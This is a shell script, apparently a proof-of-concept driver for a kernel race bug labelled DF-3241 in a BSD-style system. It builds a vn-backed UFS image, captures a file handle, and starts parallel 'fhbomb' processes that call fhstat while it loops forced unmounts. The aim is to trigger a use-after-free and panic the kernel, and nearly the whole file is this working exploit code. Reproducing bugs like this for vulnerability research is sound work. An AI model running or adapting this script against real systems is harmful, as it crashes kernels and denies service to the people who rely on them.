#!/bin/sh
# DF-3241 race driver (run as root inside the guest).
#
# Sets up a vn-backed UFS, captures its root file handle, starts fhstat
# spinner processes, then loops mount/umount -f.  Each umount has a window
# between VFS_UNMOUNT (mnt_data freed/cleared) and mountlist_remove where
# vfs_getvfs() still hands out the mount to fhstat().
#
# Progress to /root/race.log.  Expected: fatal trap 12, addr 0x18 in
# ffs_fhtovp (or 0x78+ in vfs_export_lookup via ufs_check_export when the
# mount is exported).

set -u
LOG=/root/race.log
IMG=/root/u.img
FH=/root/fh.bin
NBOMB=${NBOMB:-8}
ROUNDS=${ROUNDS:-4000}

exec >> $LOG 2>&1
set -x

date
uname -a

# --- setup ---------------------------------------------------------------
if [ ! -f $IMG ]; then
	dd if=/dev/zero of=$IMG bs=1m count=64
fi
vnconfig -c vn0 $IMG || exit 1
if [ ! -e /dev/vn0s0 ]; then
	newfs /dev/vn0 || { echo NEWFS_FAILED; exit 1; }
	FSDEV=/dev/vn0
else
	newfs /dev/vn0s0 || { echo NEWFS_FAILED; exit 1; }
	FSDEV=/dev/vn0s0
fi
echo "FSDEV=$FSDEV"
mkdir -p /mnt

mount -t ufs $FSDEV /mnt || exit 1
/root/poc/getfh /mnt > $FH || exit 1
umount /mnt || exit 1

# sanity: remount and confirm the fh resolves (fsid is path-derived, stable)
mount -t ufs $FSDEV /mnt || exit 1
/root/poc/fhstat_once $FH || exit 1
umount /mnt || exit 1
echo SANITY_OK

# --- race ----------------------------------------------------------------
i=0
while [ $i -lt $ROUNDS ]; do
	i=$((i+1))
	# (re)start bombs each round-batch; they survive unmounted periods
	if [ $((i % 500)) -eq 1 ] || [ -z "$(pgrep fhbomb)" ]; then
		pkill fhbomb 2>/dev/null
		j=0
		while [ $j -lt $NBOMB ]; do
			/root/poc/fhbomb $FH 1 &
			j=$((j+1))
		done
	fi
	mount -t ufs $FSDEV /mnt || { echo "round $i: mount failed"; continue; }
	umount -f /mnt
	if [ $((i % 100)) -eq 0 ]; then
		echo "round $i done $(date +%s)"
	fi
done
echo "SURVIVED $ROUNDS rounds without panic"
date
